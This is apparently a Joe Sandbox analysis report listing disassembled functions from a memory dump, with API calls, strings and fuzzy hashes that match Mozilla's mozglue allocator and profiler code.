Opcode Fuzzy Hash: bf04ba4927fcbc32791d90cbea37b195ca33ee7127c63e6d032f86bfd324a030
Instruction Fuzzy Hash: 34F1C17490531A9FDB308F64CD48B9AB7B5BF49318F1882A9D809A7741D731AEC5CFA0

Function 6CA960A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA960C9
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA9610D
EnterCriticalSection.KERNEL32(?), ref: 6CA9618C
LeaveCriticalSection.KERNEL32(?), ref: 6CA961F9

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA96BC7, 6CA96F97, 6CA96FB2
MALLOC_OPTIONS, xrefs: 6CA96888
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA96B6A
MOZ_CRASH(), xrefs: 6CA96AB8
Compile-time page size does not divide the runtime one., xrefs: 6CA96AAE
<jemalloc>, xrefs: 6CA96AA9, 6CA96B59

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 26aaa543f79111ab3c5440c002145570b3e0d668d531fa1173cc1a3bf6b813cd
Instruction ID: b64152e09ce1fbd34320ef486890181116db9fdeebb597377b24c10d04750f1e
Opcode Fuzzy Hash: 26aaa543f79111ab3c5440c002145570b3e0d668d531fa1173cc1a3bf6b813cd
Instruction Fuzzy Hash: 4BA2AC71A257018FD748CF29C551615BBF1BF89328F29C66DE86A8BB91C731E881CBC1

Function 6CACC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CACC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CACC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CACC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CACCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CACDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CACDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CACDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CACE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CACE472

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 43f148356bd0a371c56f873f59e065cff14ca9e382284014232d149633f7dab2
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: C933BC71E0021ACFCB04CFACC8806ADBBF2FF49314F298269D955AB755D731A985CB91

Function 6CA7FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA7FF81
LeaveCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA8022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA80240
EnterCriticalSection.KERNEL32(6CAEE768), ref: 6CA8025B
LeaveCriticalSection.KERNEL32(6CAEE768), ref: 6CA8027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA7FE99, 6CA7FEB7, 6CA7FED3, 6CA80DB8, 6CA80DD3, 6CA819B4
: (malloc) Error in VirtualFree(), xrefs: 6CA80D67, 6CA80D7B, 6CA80DAC
<jemalloc>, xrefs: 6CA80D62, 6CA80D76, 6CA80DA7

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 184653da05668547464149971f0799eed417a2d78968be393dea1da02d8b6dcb
Instruction ID: c9da73c567a6f31db4555dee0b7c4974f4c029b0a1ba3eed908d199dc4649281
Opcode Fuzzy Hash: 184653da05668547464149971f0799eed417a2d78968be393dea1da02d8b6dcb
Instruction Fuzzy Hash: 5FC2B171A067418FD714CF28C980716BBE1FF89328F28C66DE5A98B795D771E881CB81

Function 6CACE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CACE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CACEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CACF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CACF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAD0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAD0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD0ED4

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 88a752463f58847ea5af50a445c056d7a910c788d10a2499bc1334ed634e231d
Instruction ID: 425387898a9be93a53131446b6d9d9307cd503539d8f4517366e317e2383b574
Opcode Fuzzy Hash: 88a752463f58847ea5af50a445c056d7a910c788d10a2499bc1334ed634e231d
Instruction Fuzzy Hash: 40638F71E0025A8FCB04CFACC8906EDFBB2FF89314F298269D555AB755D730A985CB90

Function 6CAA3E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6CAC7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CAA3E7D,?,?,?,6CAA3E7D,?,?), ref: 6CAC777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6CAA3F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAA3F5C
VerSetConditionMask.NTDLL ref: 6CAA3F8D
VerSetConditionMask.NTDLL ref: 6CAA3F99
VerSetConditionMask.NTDLL ref: 6CAA3FA0
VerSetConditionMask.NTDLL ref: 6CAA3FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAA3FB4

Strings

nvinit.dll, xrefs: 6CAA4479
nvd3d9wrap.dll, xrefs: 6CAA4466

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: d62791dc2b768c2053c232d9a3dcf9f6ce7a44bacf34d49e9090ed417bd04f5e
Instruction ID: 811b567edbe41bb47759390e3b983d572b2a53b29f2390c80a9a9596541f78ac
Opcode Fuzzy Hash: d62791dc2b768c2053c232d9a3dcf9f6ce7a44bacf34d49e9090ed417bd04f5e
Instruction Fuzzy Hash: 8F52E171610B498FD725DB74C984AAB77E9BF45204F04496DE4938BB42CB34F98ECBA0

Function 6CA8ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CA8EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA8EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CA91695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA916B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CA91770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA91A3E

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 424a8c5f1bececb9debecee656063e08a03dd711ff1cc9c60ddc6b565c80fcad
Instruction ID: 9c742e67eb04ef6234cf53b7c0e54b6d77f13a875cda7033a46caf0d10e4dd15
Opcode Fuzzy Hash: 424a8c5f1bececb9debecee656063e08a03dd711ff1cc9c60ddc6b565c80fcad
Instruction Fuzzy Hash: 00B34A71E112198FCB14CFA9C881AADB7F2FF49304F2982A9D549AB745D730AD85CF90

Function 6CA7FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA7FF81
LeaveCriticalSection.KERNEL32(6CAEE7B8), ref: 6CA8022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA80240
EnterCriticalSection.KERNEL32(6CAEE768), ref: 6CA8025B
LeaveCriticalSection.KERNEL32(6CAEE768), ref: 6CA8027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA7FE99, 6CA7FEB7, 6CA7FED3, 6CA80DB8, 6CA80DD3, 6CA819B4, 6CA81A10
MOZ_CRASH(), xrefs: 6CA80CA7

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 254f7d13cac4c793627d06e1dc462b4562cb530564df4fc8bb6ca490c4ee69fd
Instruction ID: e850e355b9b5bf05e6fe6a8eb5a8b5b4617683f30aa8c0f823b716308fd674a4
Opcode Fuzzy Hash: 254f7d13cac4c793627d06e1dc462b4562cb530564df4fc8bb6ca490c4ee69fd
Instruction Fuzzy Hash: 00B2A1716067418FD718CF29C590726BBE1FF85328F28C66CE9AA8B795D770D881CB81

Function 6CAB5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6CAB5AC3
name, xrefs: 6CAB5E79, 6CAB5E8F
schema, xrefs: 6CAB606D
expected a Time entry, xrefs: 6CAB5CB6
ProfileBuffer parse error: %s, xrefs: 6CAB5AC8, 6CAB5CBB
data, xrefs: 6CAB6131

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 8343e7e87d550eb6363e37aa9c5a48877a01cfdaddfeae56f6addc0ff945bb7a
Instruction ID: 7d666886d92a62777d19f826b3448bbb086202dfa7d3eeb738f7f3193208c5f5
Opcode Fuzzy Hash: 8343e7e87d550eb6363e37aa9c5a48877a01cfdaddfeae56f6addc0ff945bb7a
Instruction Fuzzy Hash: 85924C71A083418FD724CF18C59079BBBE5BFC9308F15891DE59AAB751DB30E889CB92

Function 6CAB2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CAB2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6CAB2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6CAB378D
get , xrefs: 6CAB3205
set , xrefs: 6CAB36EC

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a499098e692df546346e39f26c34e08f7ea784dddf096aad5928168e5b08d612
Instruction ID: b8644e015ef740e8a857a8a055b7e9a5fca91b232294611724c3aea0db4ad44c
Opcode Fuzzy Hash: a499098e692df546346e39f26c34e08f7ea784dddf096aad5928168e5b08d612
Instruction Fuzzy Hash: BA327E706093818FD324CF24C4906AFBBE6AFC9318F54891DE5DA97751DB31E88ACB52

Function 6CAA7E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6CAA81E3, 6CAA8311
(pre-xul), xrefs: 6CAA7E88
name, xrefs: 6CAA7ECF, 6CAA8335
data, xrefs: 6CAA8280, 6CAA83E1

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 9a7a1d9c52d6e7dace8a64fcadff0d785a027991963205c59ddf7600ec2ebfd7
Instruction ID: d0f73eb96fcb61d24b7ea89cbceeb9e9d429434e3636f3d5cbba4107e3bf7413
Opcode Fuzzy Hash: 9a7a1d9c52d6e7dace8a64fcadff0d785a027991963205c59ddf7600ec2ebfd7
Instruction Fuzzy Hash: DBE18EB1A043508FD710CF68884066BFBE9BF89314F158A2DE895D7791DBB0ED898B91

Function 6CA8D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D4F2
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D50B

Part of subcall function 6CA6CFE0: EnterCriticalSection.KERNEL32(6CAEE784), ref: 6CA6CFF6
Part of subcall function 6CA6CFE0: LeaveCriticalSection.KERNEL32(6CAEE784), ref: 6CA6D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D52E
EnterCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8D6A6
LeaveCriticalSection.KERNEL32(6CAEE7DC), ref: 6CA8D712
LeaveCriticalSection.KERNEL32(6CAEE784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CA9D1C5), ref: 6CA8D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA8D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CA8D82C
<jemalloc>, xrefs: 6CA8D827

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 211867f621766a95caffabf033043cc4ca9acff52118b4d2652e4c0ce66b441d
Instruction ID: e84669a988ccc3208f061f9d8a1741e79ab10e9cfbe5818d0151fe2867144cfd
Opcode Fuzzy Hash: 211867f621766a95caffabf033043cc4ca9acff52118b4d2652e4c0ce66b441d
Instruction Fuzzy Hash: 9C91E271E057468FD758CF29C49426AB7E1EB89318F18892FE49AC7A85D730E885CB81

Function 6CA85E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA85EDB
memset.VCRUNTIME140(6CAC7765,000000E5,55CCCCCC), ref: 6CA85F27
LeaveCriticalSection.KERNEL32(?), ref: 6CA85FB2
memset.VCRUNTIME140(6CAC7765,000000E5,AEC09015), ref: 6CA861F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CA87652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA872E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA87BCD, 6CA87C1F, 6CA87C34, 6CA880FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA8730D
MOZ_CRASH(), xrefs: 6CA87BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA872F8

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 266d19539de4c7ec67e9b82a6743762a837d12e79d437a85b2db9ddd9928aeb5
Instruction ID: 733fec8f80bb048ca6cd877bee25bf9cf2d2da4c7360b2daeab4b352a8a89972
Opcode Fuzzy Hash: 266d19539de4c7ec67e9b82a6743762a837d12e79d437a85b2db9ddd9928aeb5
Instruction Fuzzy Hash: 6C337C716167018FD308CF29C590615BBE2BF85328F2DC6ADE969CB7A5D731E881CB81

Function 6CA63480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA63492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA634A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA634EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CA6350E
__Init_thread_footer.LIBCMT ref: 6CA63522
__aulldiv.LIBCMT ref: 6CA63552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA6357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA63592

Part of subcall function 6CA9AB89: EnterCriticalSection.KERNEL32(6CAEE370,?,?,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284), ref: 6CA9AB94
Part of subcall function 6CA9AB89: LeaveCriticalSection.KERNEL32(6CAEE370,?,6CA634DE,6CAEF6CC,?,?,?,?,?,?,?,6CA63284,?,?,6CA856F6), ref: 6CA9ABD1

Strings

kernel32.dll, xrefs: 6CA634EA
GetSystemTimePreciseAsFileTime, xrefs: 6CA63508

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 823def1cc061d0e83a9e5f7d1c7996748ede453aeab3f7530add8fc609dc70f1
Instruction ID: 598da7e25b5038671ba6fde54bb1738628f4bf921ec16aa765751fc9b0ac8bad
Opcode Fuzzy Hash: 823def1cc061d0e83a9e5f7d1c7996748ede453aeab3f7530add8fc609dc70f1
Instruction Fuzzy Hash: 9931C170B013479FDF48DFB9ED48AAA73B5FB4A304F14811AE54193A50DB309946DBA0

Function 6CAB4820 Relevance: 16.5, APIs: 1, Strings: 8, Instructions: 744COMMON

Download Yara Rule

Strings

-%llu, xrefs: 6CAB4825
schema, xrefs: 6CAB48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6CAB4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6CAB4DB8, 6CAB4DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6CAB4D0A
data, xrefs: 6CAB49B4
ProfileBuffer parse error: %s, xrefs: 6CAB4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6CAB4CAF

Memory Dump Source

Source File: 00000000.00000002.2053290287.000000006CA61000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA60000, based on PE: true

Associated: 00000000.00000002.2052606443.000000006CA60000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053846705.000000006CADD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2053952670.000000006CAEE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca60000_file.jbxd

Similarity

API ID: free
String ID: -%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3225433307
Opcode ID: f531b98ce0d66daccf6ecd9ed50588810d0490b4d6a3cbd83b874389c3e084dc
